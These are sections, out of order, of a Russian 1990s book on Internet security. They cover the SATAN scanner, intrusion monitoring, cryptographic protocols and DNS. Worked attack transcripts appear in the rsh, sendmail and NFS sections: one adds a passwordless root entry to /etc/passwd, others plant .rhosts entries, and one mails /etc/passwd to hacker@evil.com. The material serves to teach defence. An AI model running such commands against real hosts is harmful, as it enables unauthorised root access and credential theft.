На самом деле SATAN - это добротно сделанная, с современным интерфейсом, программа для поиска брешей в вашей подсети (Intranet, как модно говорить в последнее время), написанная на машинно-независимых языках Perl и С, поэтому она в некоторой мере преодолевает первый из вышеописанных недостатков. Она даже допускает возможность для расширения и вставки новых модулей. К сожалению, во всем остальном ей присущи указанные недостатки, в т.ч. и самый главный - она уже устарела, и не может сейчас серьезно использоваться ни администраторами, ни хакерами. Поэтому непонятен мистический страх перед всемогуществом SATAN'а. Авторы, готовя материал для данной книги, сами столкнулись с таким отношением и были немало этим удивлены.
Однако на момент выхода это была достаточно актуальная программа. Она содержала в себе поиск большинства уязвимостей, описанных нами в п. 8.5.2 и была построена на статье [16] (или эта статья вылилась из рабо-
ты над SATAN'ом). В частности, программа ищет уязвимости в:
FTP и TFTP; NFS и NIS; rexd; sendmail; r-службах; X-Window.
Существуют также более поздние версии SATAN'а, в которые включен поиск и других уязвимостей.
Для этого она сначала всевозможным образом собирает информацию о вашей системе, причем уровень этого конфигурируется пользователем и может быть: легкий, нормальный и жесткий. Легкий уровень, по утверждению авторов программы, не может быть никак обнаружен атакуемой стороной (по крайней мере, такая активность программы никак не может быть принята за враждебную) и включает в себя DNS-запросы для выяснения версии операционной системы и другой подобной информации, которая может быть легально получена с использованием DNS. Далее она посылает запрос на службу RPC (remote procedure call) для выяснения, какие rpc-сервисы работают. Нормальный уровень разведки включает в себя все эти запросы, а также дополняет их посылкой запросов (сканированием) некоторых строго определенных портов, таких как FTP, telnet, SMTP, NNTP, UUCP и др. для определения установленных служб. Наконец, жесткий уровень включает в себя все предыдущие уровни, а также дополняется полным сканированием всех (возможных) UDP- и TCP-портов для обнаружения нестандартных служб или служб на нестандартных портах. Авторы предостерегают, что такое сканирование может быть легко зафиксировано даже без специальных программ - например, на консоли могут появляться сообщения от вашего файрвола.
Другой важной опцией, задаваемой при настройке SATAN'a, является глубина просмотра подсетей (proximity). Значение 0 означает только один хост, 1 - подсеть, в которую он входит, 2 - все подсети, в которые входит подсеть данного хоста, и т. д. Авторы подчеркивают, что ни при каких обстоятельствах это число не должно быть более 2, иначе SATAN выйдет из-под контроля и просканирует слишком много внешних подсетей.
Собственно, ничем более страшным, кроме как сканированием портов и обнаружением работающих служб и их конфигурации, SATAN не занимается. При этом, если находятся потенциальные уязвимости, он сообщает об этом. Как пишут сами авторы, фаза проникновения в удаленную систему не была реализована.
Авторы SATAN'а используют очень современный интерфейс - все сообщения программы оформляются в виде HTML-страниц. Поэтому работа с SATAN'ом мало чем отличается от плавания (surf) по интернету в своем любимом броузере (SATAN поддерживает любой из них, будь то lynx, Mosaic или Netscape).
Пользователь может отсортировать найденные уязвимости (по типу, серьезности и т. п.) и тут же получить развернутую информацию по каждой из них. Для поддержки броузеров в SATAN входит собственный http-сервер, выполняющий ограниченное число запросов, а связь с этим сервером осуществляется c использованием случайного 32-битного числа (magic cookie), которое служит для дополнительной аутентификации http-клиента. Иначе говоря, оно служит для предотвращения перехвата конфиденциальной информации броузером, отличным от запущенного SATAN'ом, а также вообще против любого взаимодействия с http-сервером SATAN'а. Любопытно, что в версиях до 1.1.1 в этой схеме аутентификации тоже была ошибка, которая даже попала в один из бюллетеней CERT.
Итак, типичный сценарий работы с SATAN заключается в следующем:
настроить желаемые параметры, в том числе глубину сканирования; задать адрес цели и уровень сканирования; просмотреть полученные результаты и получить по ним более подробную информацию; устранить найденные уязвимости.
Администратору безопасности рекомендуется просканировать на жестком уровне все свои хосты, а также все доверенные хосты, обязательно спросив на это разрешение у их администраторов. Это рекомендуется сделать даже сегодня, несмотря на то, что SATAN устарел- вы сможете быстро получить список используемых сетевых служб и их версий и проверить, нет ли среди них уязвимых, воспользовавшись материалами CERT или CIAC.
Программно-аппаратные методы защиты от удаленных атак в сети Internet
К программно-аппаратным средствам обеспечения информационной безопасности средств связи в вычислительных сетях относятся:
аппаратные шифраторы сетевого трафика; методика Firewall, реализуемая на базе программно-аппаратных средств; защищенные сетевые криптопротоколы; программно-аппаратные анализаторы сетевого трафика; защищенные сетевые ОС.
Существует огромное количество литературы, посвященной этим средствам защиты, предназначенным для использования в сети Internet (за последние два года практически в каждом номере любого компьютерного журнала можно найти статьи на эту тему).
Далее мы, по возможности кратко, чтобы не повторять всем хорошо известную информацию, опишем данные средства защиты, применяемые в Internet. При этом мы преследуем следующие цели: во-первых, еще раз вернемся к мифу об "абсолютной защите" , которую якобы обеспечивают системы Firewall, очевидно, благодаря стараниям их продавцов; во-вторых, сравним существующие версии криптопротоколов, применяемых в Internet, и дадим оценку, по сути, критическому
положению в этой области; и, в-третьих, ознакомим читателей с возможностью защиты с помощью сетевого монитора безопасности, предназначенного для осуществления динамического контроля за возникающими в защищаемом сегменте IP-сети ситуациями, свидетельствующими об осуществлении на данный сегмент одной из описанных в 4 главе удаленных атак.
Программные методы защиты, применяемые в сети Internet
К программным методам защиты в сети Internet можно отнести прежде всего защищенные криптопротоколы, с использованием которых появляется возможность надежной защиты соединения. В следующем пункте пойдет речь о существующих на сегодняшний день в Internet подходах и основных, уже разработанных, криптопротоколах.
К иному классу программных методов защиты от удаленных атак относятся существующие на сегодняшний день программы, основная цель которых - анализ сетевого трафика на предмет наличия одного из известных активных удаленных воздействий. Об этом пункт 7.2.2.2.
Проникновение в систему с помощью rsh
Если система, которую собираются атаковать, содержит шаблон "+" в файле /etc/hosts.equiv
(в некоторых системах он устанавливается по умолчанию) или содержит ошибки в утилите netgroups, то любой пользователь с помощью rlogin сможет зарегистрироваться на ней под любым именем, кроме root, без указания пароля. Поскольку специальный пользователь "bin" , как правило, имеет доступ к ключевым файлам и каталогам, то, зарегистрировавшись как bin, можно изменить файл паролей так, чтобы получить привилегии доступа root. Это можно сделать примерно следующим способом:
evil % whoami
bin
evil % rsh victim.com csh -i
Warning: no access to tty; thus no job control in this shell...
victim % ls -ldg /etc
drwxr-sr-x 8 bin staff 2048 Jul 24 18:02 /etc
victim % cd /etc
victim % mv passwd pw.old
victim % (echo toor::0:1:instant root shell:/:/bin/sh; cat pw.old ) > passwd
victim % ^D
evil % rlogin victim.com -l toor
Welcome to victim.com!
victim #
Несколько замечаний по поводу деталей приведенного выше метода: "rsh victim.com csh -i" используется для проникновения в систему, т. к. при таком запуске csh не оставляет никаких следов в файлах учета wtmp или utmp, делая rsh невидимым для finger или who. Правда, при этом удаленный командный процессор не подключается к псевдотерминалу, поэтому полноэкранные программы (например, редакторы) работать не будут. На многих системах атака с помощью rsh в случае успешного завершения оставалась совершенно незамеченной, поэтому можно порекомендовать использовать регистратор внешних tcp-подключений, который может помочь обнаружить такую деятельность.
Проникновение в систему с помощью sendmail
Sendmail - это очень сложная программа, у которой всегда было много проблем с безопасностью, включая печально известную команду "debug" . С ее помощью, например, зачастую можно получить некоторую информацию об удаленной системе, иногда вплоть до номера версии, анализируя ее сообщения. Это дает возможность определить наличие в системе известных ошибок. Кроме того, можно увидеть, запущен ли псевдоним "decode" , имеющий ряд проблем:
evil % telnet victim.com 25
connecting to host victim.com (128.128.128.1.), port 25 connection open
220 victim.com Sendmail Sendmail 5.55/victim ready at Fri, 6 Nov 93 18:00 PDT
expn decode
250 <"|/usr/bin/uudecode">
quit
Наличие псевдонима decode подвергает систему риску, что злоумышленник может изменить любые файлы, доступные для записи владельцу этого псевдонима, которым, как правило, является демон. Этот фрагмент кода поместит evil.com в файл .rhosts пользователя hacker, если он доступен для записи:
evil % echo "evil.com" | uuencode /home/hacker/.rhosts | mail decode@victim.com
В части sendmail, отвечающей за пересылку, были две хорошо известные ошибки. Первая была устранена в версии 5.59 Berkeley. Для версий sendmail до 5.59 в приведенном примере, несмотря на сообщения об ошибках, "evil.com" добавляется к файлу .rhosts вместе с обычными почтовыми заголовками:
% cat evil_sendmail
telnet victim.com 25 << EOSM
rcpt to: /home/hacker/.rhosts
mail from: hacker
data
.
rcpt to: /home/hacker/.rhosts
mail from: hacker
data
evil.com
.
quit
EOSM
evil % /bin/sh evil_sendmail
Trying 128.128.128.1
Connected to victim.com
Escape character is '^]'.
Connection closed by foreign host.
evil % rlogin victim.com -l hacker
Welcome to victim.com!
victim %
Вторая ошибка, исправленная недавно, позволяла кому угодно задавать произвольные команды оболочки и/или пути для посылающей и/или принимающей стороны. Попытки сохранить детали в секрете были тщетными, и широкая дискуссия в эхо-конференциях привела к обнародованию того, как можно использовать некоторые ошибки. Как и для большинства других ошибок UNIX, почти все системы оказались уязвимы для этих атак, поскольку все они имели в основе один и тот же исходный текст. Типичная атака с помощью sendmail, направленная на получение пароля, может выглядеть так:
evil % telnet victim.com 25
Trying 128.128.128.1
Connected to victim.com
Escape character is '^]'.
220 victim.com Sendmail 5.55 ready at Saturday, 6 Nov 93 18:04
mail from: "|/bin/mail hacker@evil.com < /etc/passwd"
250 "|/bin/mail hacker@evil.com < /etc/passwd"... Sender ok
rcpt to: nosuchuser
550 nosuchuser... User unknown
data
354 Enter mail, end with "." on a line by itself
.
250 Mail accepted
quit
Connection closed by foreign host.
evil %
Видно, что все атаки на sendmail идут на уровне незарегистрированного удаленного пользователя, и поэтому относятся к сценарию 1. Ну, а к sendmail мы еще вернемся.
Протоколы
Протоколами называют распределенные алгоритмы, определяющие, каким образом осуществляется обмен данными между физическими устройствами или логическим объектами (процессами). Под семейством протоколов TCP/IP в широком смысле обычно понимают весь набор реализаций стандартов RFC (Requests For Comments), а именно:
Internet Protocol (IP); Address Resolution Protocol (ARP); Internеt Control Message Protocol (ICMP); User Datagram Protocol (UDP); Transport Control Protocol (TCP); Routing Information Protocol (RIP); Telnet; Simple Mail Transfer Protocol (SMTP); Domain Name System (DNS) и другие.
Общим и основополагающим элементом этого семейства является IP протокол. Все протоколы Internet являются открытыми и доступными. Большинство спецификаций протоколов доступно из RFC, например, по адресу ftp.internic.net.
Необходимо отметить, что в конце 80-х годов наблюдался подлинный бум, вызванный разработкой Международной организацией по стандартизации коммуникационных протоколов - ISO (International Standard Organization). Разработанная ISO спецификация, названная моделью взаимодействия открытых систем (OSI - Open Systems Interconnection), заполонила научные публикации. Казалось, что эта модель займет первое место и оттеснит широко распространившийся TCP/IP. Но этого не произошло. Одной из причин этого явилась тщательная проработка протоколов TCP/IP, их функциональность и открытость к наращиванию функциональных возможностей, хотя к настоящему времени достаточно очевидно, что они имеют и множество недостатков.
Приведем сравнительную схему уровневых моделей протоколов министерства обороны США (DoD - Department of Defense), OSI и TCP/IP (рис. 2.1).
Рис. 2.1. Уровневые модели протоколов.
Каждый уровень моделей использует определенный формат сообщений. При переходе сообщения с высшего уровня на низший оно форматируется по правилам низшего уровня и снабжается заголовком (говорят, что сообщение закладывается в конверт).
Физический и канальный уровень модели TCP/IP аналогичны соответствующим уровням OSI:
на физическом уровне осуществляется физическое соединение между компьютерной системой и фи-зической средой передачи. Он определяет распо-ложение кабельных контактов, напряжение пита-ния и т.п. Единицей данных на этом уровне является бит; на канальном уровне осуществляется пакетиро-вание данных для передачи и распакетирование для приема. Единица данных на этом уровне называется фреймом; на сетевом уровне осуществляется маршрутизация данных в сети. Единицей данных этого уровня является датаграмма.
Proxy-схема с дополнительной идентификацией и аутентификацией пользователей на Firewall-хосте.
Proxy-схема позволяет, во-первых, при доступе к защищенному Firewall сегменту сети осуществить на нем дополнительную идентификацию и аутентификацию удаленного пользователя и, во-вторых, является основой для создания приватных сетей с виртуальными IP-адресами. Смысл proxy-схемы состоит в создании соединения с конечным адресатом через промежуточный proxy-сервер (proxy от англ. полномочный) на хосте Firewall. На этом proxy-сервере и может осуществляться дополнительная идентификация абонента.
С использованием неправильного администрирования NFS
Предположим, что запуск программы showmount с параметром "атакуемый хост" покажет следующее:
evil % showmount -e victim.com
export list for victim.com:
/export (everyone)
/var (everyone)
/usr easy
/export/exec/kvm/sun4c.sunos.4.1.3 easy
/export/root/easy easy
/export/swap/easy easy
Сразу бросается в глаза, что /export и все его подкаталоги экспортируются во внешнюю среду. Предположим (это можно выяснить с помощью finger), что домашним каталогом пользователя guest
является /export/foo. Теперь с помощью этой информации можно осуществить первое вторжение. Для этого монтируется домашний каталог пользователя guest
удаленной машины. Поскольку даже суперпользователь атакующей машины не может модифицировать файлы на файловой системе, смонтированной как NFS, необходимо обмануть NFS и создать фиктивного пользователя guest в локальном файле паролей. Далее стандартно эксплуатируется "излишнее доверие" , и атакующая машина victim.com вставляется в файл .rhosts в удаленном домашнем каталоге guest, что позволит зарегистрироваться в атакуемой машине, не предоставляя пароля:
evil # mount victim.com:/export/foo /foo
evil # cd /foo
evil # ls -lag
total 3
1 drwxr-xr-x 11 root daemon 512 Jun 19 09:47 .
1 drwxr-xr-x 7 root wheel 512 Jul 19 1991 ..
1 drwx--x--x 9 10001 daemon 1024 Aug 3 15:49 guest
evil # echo guest:x:10001:1:временно для взлома:/: >> /etc/passwd
evil # su guest
evil % echo victim.com >> guest/.rhosts
evil % rlogin victim.com
Welcome to victim.com!
victim %
Если бы victim.com не экспортировал домашние каталоги пользователей, а только пользовательские каталоги с программами (скажем, /usr или /usr/local/bin), можно было бы заменить команду троянским конем, который бы выполнял те же опе-
рации.
Селекция потока информации и сохранение ее на ложном объекте РВС
Одной из атак, которую может осуществлять ложный объект РВС, является перехват передаваемой между субъектом и объектом взаимодействия информации. Важно отметить, что факт перехвата информации (фай-лов, например) возможен из-за того, что при выполнении некоторых операций над файлами (чтение, копирование и т. д.) содержимое этих файлов передается по сети, а, значит, поступает на ложный объект. Простейший способ реализации перехвата - это сохранение в файле всех получаемых ложным объектом пакетов обмена.
Тем не менее, данный способ перехвата информации оказывается недостаточно информативным. Это происходит вследствие того, что в пакетах обмена кроме полей данных существуют служебные поля, не представляющие в данном случае для атакующего непосредственного интереса. Следовательно, для того, чтобы получить непосредственно передаваемый файл, необходимо проводить на ложном объекте динамический семантический анализ потока информации для его селекции.
и теоретические изыскания авторов, по
Практические и теоретические изыскания авторов, по направлению, связанному с исследованием безопасности распределенных ВС, в том числе и сети Internet (два полярных направления исследования: нарушение и обеспечение информационной безопасности), навели на следующую мысль: в сети Internet, как и в других сетях (например, Novell NetWare, Windows NT), ощущается серьезная нехватка программного средства защиты, осуществляющего комплексный контроль (мониторинг) на канальном уровне за всем потоком передаваемой по сети информации с целью обнаружения всех типов удаленных воздействий, описанных в 4 главе. Исследование рынка программного обеспечения сетевых средств защиты для Internet выявило тот факт, что подобных комплексных средств обнаружения удаленных воздействий по нашим сведениям не существует, а те, что имеются, предназначены для обнаружения воздействий одного конкретного типа (например, ICMP Redirect (п. 4.4) или ARP (п. 4.2)). Поэтому и была начата разработка средства контроля сегмента IP-сети, предназначенного для использования в сети Internet и получившее следующее название: сетевой монитор безопасности IP Alert-1. Основная задача этого средства, программно анализирующего сетевой трафик в канале передачи, состоит не в отражении осуществляемых по каналу связи удаленных атак, а в их обнаружении, протоколировании (ведении файла аудита с протоколированием в удобной для последующего визуального анализа форме всех событий, связанных с удаленными атаками на данный сегмент сети) и незамедлительным сигнализировании администратору безопасности в случае обнаружения удаленной атаки. Основной задачей сетевого монитора безопасности IP Alert-1 является осуществление контроля за безопасностью соответствующего сегмента сети Internet.
Сетевой монитор безопасности IP Alert-1 обладает следующими функциональными возможностями и позволяет, путем сетевого анализа, обнаружить следующие удаленные атаки на контролируемый им сегмент сети Internet.
Функциональные возможности сетевого монитора безопасности IP Alert-1
1. Контроль за соответствием IP- и Ethernet-адресов в пакетах, передаваемых хостами, находящимися внутри контролируемого сегмента сети.
На хосте IP Alert-1 администратор безопасности создает статическую ARP-таблицу, куда заносит сведения о соответствующих IP- и Ethernet-адресах хостов, находящихся внутри контролируемого сегмента сети.
Данная функция позволяет обнаружить несанкционированное изменение IP-адреса или его подмену (IP Spoofing).
2. Контроль за корректным использованием механизма удаленного ARP-поиска.
Эта функция позволяет, используя статическую ARP-таблицу, определить удаленную атаку "Ложный ARP-сервер" (п. 4.2).
3. Контроль за корректным использованием механизма удаленного DNS-поиска.
Эта функция позволяет определить все возможные виды удаленных атак на службу DNS (атаки в п. 4.3. 1- 4.3.3).
4. Контроль на наличие ICMP Redirect сообщения.
Данная функция оповещает об обнаружении ICMP Redirect сообщения и соответствующей удаленной атаки, описанной в п. 4.4
5. Контроль за корректностью попыток удаленного подключения путем анализа передаваемых запросов.
Эта функция позволяет обнаружить, во-первых, попытку исследования закона изменения начального значения идентификатора TCP-соединения - ISN (п. 4.5.1), во-вторых, удаленную атаку "отказ в обслуживании" , осуществляемую путем переполнения очереди запросов на подключение (п. 4.6), и, в-третьих, направленный "шторм" ложных запросов на подключение (как TCP, так и UDP), приводящий также к отказу в обслуживании (п. 4.6).
Таким образом, сетевой монитор безопасности IP Alert-1 позволяет обнаружить, оповестить и запротоколировать все виды удаленных атак, описанных в 4 главе! При этом данная программа никоим образом не является конкурентом системам Firewall. IP Alert-1, используя описанные и систематизированные в 4 главе особенности удаленных атак на сеть Internet, служит необходимым дополнением - кстати, несравнимо более дешевым, - к системам Firewall. Без монитора безопасности большинство попыток осуществления удаленных атак на ваш сегмент сети останется скрыто от ваших глаз. Ни один из известных авторам файрволов не занимается подобным интеллектуальным анализом проходящих по сети сообщений на предмет выявления различного рода удаленных атак, ограничиваясь, в лучшем случае, ведением журнала, в который заносятся сведения о попытках подбора паролей для TELNET и FTP, о сканировании портов и о сканировании сети с использованием знаменитой программы удаленного поиска известных уязвимостей сетевых ОС - SATAN (п. 8.9.1). Поэтому, если администратор IP-сети не желает оставаться безучастным и довольствоваться ролью простого статиста при удаленных атаках на его сеть, то ему желательно использовать сетевой монитор безопасности IP Alert-1. Кстати, напомним, что Цутому Шимомура смог запротоколировать атаку Кевина Митника (п. 4.5.2), во многом, видимо, благодаря программе tcpdump - простейшему анализатору IP-трафика.
SKIP-технология и криптопротоколы
Прочитав 4 и 5 главы, читатель, очевидно, уяснил, что одна из основных причин успеха удаленных атак на распределенные ВС кроется в использовании сетевых протоколов обмена, которые не могут надежно идентифицировать удаленные объекты, защитить соединение и передаваемые по нему данные. Поэтому совершенно естественно, что в процессе функционирования Internet были созданы различные защищенные сетевые протоколы, использующие криптографию как с закрытым, так и с открытым ключом. Классическая криптография с симметричными криптоалгоритмами предполагает наличие у передающей и принимающей стороны симметричных (одинаковых) ключей для шифрования и дешифрирования сообщений. Эти ключи предполагается распределить заранее между конечным числом абонентов, что в криптографии называется стандартной проблемой статического распределения ключей. Очевидно, что применение классической криптографии с симметричными ключами возможно лишь на ограниченном множестве объектов. В сети Internet для всех ее пользователей решить проблему статического распределения ключей, очевидно, не представляется возможным. Однако одним из первых защищенных протоколов обмена в Internet был протокол Kerberos, основанный именно на статическом распределении ключей для конечного числа абонентов. Таким же путем, используя классическую симметричную криптографию, вынуждены идти наши спецслужбы, разрабатывающие свои защищенные криптопротоколы для сети Internet. Это объясняется тем, что почему-то до сих пор нет гостированного криптоалгоритма с открытым ключом. Везде в мире подобные стандарты шифрования давно приняты и сертифицированы, а мы, видимо, опять идем другим путем!
Итак, понятно, что для того, чтобы дать возможность защититься всему множеству пользователей сети Internet, а не ограниченному его подмножеству, необходимо использовать динамически вырабатываемые в процессе создания виртуального соединения ключи при использовании криптографии с открытым ключом (п. 6.2 и подробно в [11]). Далее мы рассмотрим основные на сегодняшний день подходы и протоколы, обеспечивающие защиту соединения.
SKIP (Secure Key Internet Protocol)-технологией называется стандарт инкапсуляции IP-пакетов, позволяющий в существующем стандарте IPv4 на сетевом уровне обеспечить защиту соединения и передаваемых по нему данных. Это достигается следующим образом: SKIP-пакет представляет собой обычный IP-пакет, поле данных которого представляет из себя SKIP-заголовок определенного спецификацией формата и криптограмму (зашифрованные данные). Такая структура SKIP-пакета позволяет беспрепятственно направлять его любому хосту в сети Internet (межсетевая адресация происходит по обычному IP-заголовку в SKIP-пакете). Конечный получатель SKIP-пакета по заранее определенному разработчиками алгоритму расшифровывает криптограмму и формирует обычный TCP- или UDP-пакет, который и передает соответствующему обычному модулю (TCP или UDP) ядра операционной системы. В принципе, ничто не мешает разработчику формировать по данной схеме свой оригинальный заголовок, отличный от SKIP-заголовка.
S-HTTP (Secure HTTP) - это разработанный компанией Enterprise Integration Technologies (EIT) специально для Web защищенный HTTP-протокол. Протокол S-HTTP позволяет обеспечить надежную криптозащиту только
HTTP-документов Web-севера и функционирует на прикладном уровне модели OSI. Эта особенность протокола S-HTTP делает его абсолютно специализированным средством защиты соединения, и, как следствие, невозможное его применение для защиты всех остальных прикладных протоколов (FTP, TELNET, SMTP и др.). Кроме того, ни один из существующих на сегодняшний день основных Web-броузеров (ни Netscape Navigator 3.0, ни Microsoft Explorer 3.0) не поддерживают данный протокол.
SSL (Secure Socket Layer) - разработка компании Netscape - универсальный
протокол защиты соединения, функционирующий на сеансовом уровне OSI. Этот протокол, использующий криптографию с открытым ключом, на сегодняшний день, по нашему мнению, является единственным универсальным средством, позволяющим динамически защитить любое соединение с использованием любого прикладного протокола (DNS, FTP, TELNET, SMTP и т. д.). Это связано с тем, что SSL, в отличие от S-HTTP, функционирует на промежуточном сеансовом уровне OSI (между транспортным - TCP, UDP, - и прикладным - FTP, TELNET и т. д.). При этом процесс создания виртуального SSL-соединения происходит по схеме Диффи и Хеллмана (п. 6.2), которая позволяет выработать криптостойкий сеансовый ключ, используемый в дальнейшем абонентами SSL-соединения для шифрования передаваемых сообщений. Протокол SSL сегодня уже практически оформился в качестве официального стандарта защиты для HTTP-соединений, то есть для защиты Web-серверов. Его поддерживают, естественно, Netscape Navigator 3.0 и, как ни странно, Microsoft Explorer 3.0 (вспомним ту ожесточенную войну броузеров между компаниями Netscape и Microsoft). Конечно, для установления SSL-соединения с Web-сервером еще необходимо и наличие Web-сервера, поддерживающего SSL. Такие версии Web-серверов уже существуют (SSL-Apachе, например). В заключении разговора о протоколе SSL нельзя не отметить следующий факт: законами США до недавнего времени был запрещен экспорт криптосистем с длиной ключа более 40 бит (недавно он был увеличен до 56 бит). Поэтому в существующих версиях броузеров используются именно 40-битные ключи. Криптоаналитиками путем экспериментов было выяснено, что в имеющейся версии протокола SSL шифрование с использованием 40-битного ключа не является надежной защитой для передаваемых по сети сообщений, так как путем простого перебора (240 комбинаций) этот ключ подбирается за время от 1,5 (на суперЭВМ Silicon Graphics) до 7 суток (в процессе вычислений использовалось 120 рабочих станций и несколько мини ЭВМ).
Итак, очевидно, что повсеместное применение этих защищенных протоколов обмена, особенно SSL (конечно, с длиной ключа более 40 бит), поставит надежный барьер на пути всевозможных удаленных атак и серьезно усложнит жизнь кракеров всего мира. Однако весь трагизм сегодняшней ситуации с обеспечением безопасности в Internet состоит в том, что пока ни один из существующих криптопротоколов (а их уже немало) не оформился в качестве единого стандарта защиты соединения, который поддерживался бы всеми производителями сетевых ОС! Протокол SSL, из имеющихся на сегодня, подходит на эту роль наилучшим образом. Если бы его поддерживали все сетевые ОС, то не потребовалось бы создание специальных прикладных SSL-совместимых серверов (DNS, FTP, TELNET, WWW и др.). Если не договориться о принятии единого стандарта на защищенный протокол сеансового уровня, то тогда потребуется принятие многих стандартов на защиту каждой отдельной прикладной службы. Например, уже разработан экспериментальный, никем не поддерживаемый протокол Secure DNS. Также существуют экспериментальные SSL-совместимые Secure FTP- и TELNET-серверы. Но все это без принятия единого поддерживаемого всеми производителями стандарта на защищенный протокол не имеет абсолютно никакого смысла. А на сегодняшний день производители сетевых ОС не могут договориться о единой позиции на эту тему и, тем самым, перекладывают решение этих проблем непосредственно на пользователей Internet и предлагают им решать свои проблемы с информационной безопасностью так, как тем заблагорассудится!
Служба имен доменов Internet
Во времена, когда ARPANET состояла из довольно небольшого числа хостов, все они были перечислены в одном файле (HOSTS.TXT). Этот файл хранился в сетевом информационном центре Станфордского исследовательского института (SRI-NIC - Stanford Research Institute Network Information Center). Каждый администратор сайта посылал в SRI-NIC дополнения и изменения, происшедшие в конфигурации его системы. Периодически администраторы переписывали этот файл из SRI-NIC в свои системы, где из него генерировали файл /etc/hosts. С ростом ARPANET это стало чрезвычайно затруднительным. С переходом на TCP/IP совершенствование этого механизма стало необходимостью, поскольку, например, какой-то администратор мог присвоить новой машине имя уже существующей. Решением этой проблемы явилось создание доменов, или локальных полномочий, в которых администратор мог присваивать имена своим машинам и управлять данными адресации в своем домене.
Служба имен доменов - DNS (Domain Name Service) получает и предоставляет информацию про хосты сети. Под доменом понимается множество машин, которые администрируются и поддерживаются как одно целое. Можно сказать, что все машины локальной сети состав-ляют домен в большей сети, хотя можно и разделить машины локальной сети на несколько доменов. При подключении к Internet домен должен быть поименован в соответствии с соглашению об именах Internet. Internet организован как иерархия доменов. Каждый уровень иерархии является ветвью уровня root. На каждом уровне Internet находится сервер имен - машина, которая содержит информацию о машинах низшего уровня и соответствии их имен IP-адресам. Схема построения иерархии доменов приведена на рис. 2.3.
Рис. 2.3. Структура имен доменов.
Домен корневого уровня формируется NIC.
Домены верхнего уровня имеют следующие ветви: gov
(любые правительственные учреждения), edu
(образовательные учреждения), arpa (ARPANET), com
(коммерческие предприятия), mil (военные организа-ции), org (другие организации, не попадающие в пре-дыдущие). Начиная с весны 1997 IAHC добавил еще
7 доменов: firm (фирмы и направления их деятель-ности), store (торговые фирмы), web
(объекты, связан-ные с WWW), arts (объекты, связанные с культурой и искусством), rec
(развлечения и отдых), info (инфор-мационные услуги) и nom (прочие). Эти имена соответст- вуют типам сетей, которые составляют данные домены.
Члены организаций на втором уровне управляют своими серверами имен.
Домены локального уровня администрируются орга-низациями. Локальные домены могут состоять из одного хоста или включать не только множество хостов, но и свои поддомены.
Каждый узел дерева есть домен, который выбран как метка. Имя домена образуется конкатенацией ("склеи-ванием" ) всех меток доменов от корневого до текущего, перечисленных справа налево и разделенных точками. Например, в имени kernel.generic.edu
:
edu - соответствует верхнему уровню,
generic - показывает поддомен edu,
kernel - является именем хоста.
Необходимо отметить, что число уровней доменов не ограничено.
Имена доменов являются другим средством дости-жения целевого хоста. В Internet можно встретить имена типа netcom.com или spry.com. Эти имена являются именами доменов, и они зарегистрированы подобным же образом.
Снова sendmail
Здесь мы приведем две уязвимости в программе sendmail (самых последних версий) [20, 21], одна из которых позволяет локальному пользователю стать суперпользователем и относится, таким образом, к сценарию 3. Вторая уязвимость очень серьезна и в некотором роде уникальна: мало того, что она воздействует на sendmail до самой последней версии 8.8, ее использование позволит хакеру выполнить любую команду от имени суперпользователя на вашей машине несмотря на все системы защиты, включая файрволы (firewall). Поэтому она является примером возможности осуществить атаки класса 1 и в наши дни.
Как очевидно, одна из основных функций
sendmail - это SMTP-демон, отвечающий на входящие письма. Только суперпользователь может запустить ее в таком режиме, и это проверяется специальной процедурой самой sendmail. Однако из-за ошибки в кодировании sendmail может быть запущена в режиме демона так, что эта проверка будет пропущена, и, таким образом, любой пользователь может это сделать. Более того, начиная с версии 8.7, sendmail перезапустит сам себя, если получит сигнал SIGHUP
с помощью системного вызова exec(2), после чего она уже будет исполняться с привилегиями суперпользователя. В этот момент, с помощью манипуляций с переменными sendmail, злоумышленник может заставить ее выполнить любую команду, естественно, с привилегиями суперпользователя. Как стандартный вариант, используется копирование оболочки /bin/sh в /tmp/sh и установкой на него SUID root.
Вторая уязвимость, как уже говорилось, присутствует всегда при наличии sendmail версий до 8.8.4 включительно в своей конфигурации по умолчанию, независимо от присутствия других сервисов и средств защиты типа файрвол. Раз sendmail работает на вашем компьютере, значит, он отправляет и принимает электронную почту. Как оказывается, ничего другого в данном случае кракеру не надо: как в старые добрые времена, "бомба" к вам может попасть в обычном письме стандартного формата, которое, естественно, без всяких подозрений будет пропущено любым файрволом или другим фильтром. Это письмо, однако, будет иметь более чем специфическое содержание в MIME-кодировке, при обработке которого у sendmail банально переполнится буфер, данные попадут в стек и смогут быть интерпретированы как код. Естественно, он выполнится от имени суперпользователя.
Эта ошибочная функция вызывается, кстати, только в том случае, если в конфигурации sendmail стоит недокументированный флаг "-9" .
Какие можно сделать выводы из этого примечательной ситуации? Во-первых, видимо, это один из случаев, когда ошибка в исходном коде была найдена раньше хакерами, а не кракерами. Во-вторых, с другой стороны, как обычно, пройдет много времени, прежде чем все уязвимые версии sendmail будут заменены на новые, а кракеры между тем , уже зная конкретно об этой ошибке, смогут ее максимально использовать. Более того, своей масштабностью она прямо может подтолкнуть их к написанию нового глобального червя. В-третьих, это еще раз доказывает, что любые программы в процессе своего совершенствования могут приобретать новые ошибки, в том числе и такие катастрофичные. В-четвертых, не может не удивлять позиция автора sendmail, который, несмотря на репутацию автора программы, насчитывающей такое же количество ошибок в плане безопасности, что все другие UNIX-программы, вместе взятые" , продолжает свою традицию оставлять недокументированные команды или ключи. Вообще, мы бы не рекомендовали ставить программу sendmail на любой хост, который более или менее критичен к угрозам извне, т. к. ошибки в ней продолжают находиться с пугающей регулярностью.
Атака из Internet
Предисловие
1. Вместо введения
1.1. Основные понятия компьютерной безопасности
1.2. Особенности безопасности компьютерных сетей
1.3. Хакеры и кракеры, или "Что такое хорошо и что такое плохо?"
1.4. Сетевая информационная безопасность: мифы и реальность
1.5. Новые законы УК РФ, связанные с "преступлениями в сфере компьютерной информации"
2. Немного истории
2.1. Хронология ARPANET - INTERNET
2.2. Протоколы, адресация и имена в Internet
2.3. Нарушения безопасности сети
2.4. Что дальше?
3. Удаленные атаки на распределенные вычислительные системы
3.1. Классификация удаленных атак на распределенные вычислительные системы
3.2. Характеристика и механизмы реализации типовых удаленных атак
4. Удаленные атаки на хосты Internet
4.1. Анализ сетевого трафика сети Internet
4.2. Ложный ARP-сервер в сети Internet
4.3. Ложный DNS-сервер в сети Internet
4.4. Навязывание хосту ложного маршрута с использованием протокола ICMP с целью создания в сети Internet ложного маршрутизатора
4.5. Подмена одного из субъектов TCP-соединения в сети Internet (hijacking)
4.6. Нарушение работоспособности хоста в сети Internet при использовании направленного "шторма" ложных TCP-запросов на создание соединения, либо при переполнении очереди запросов
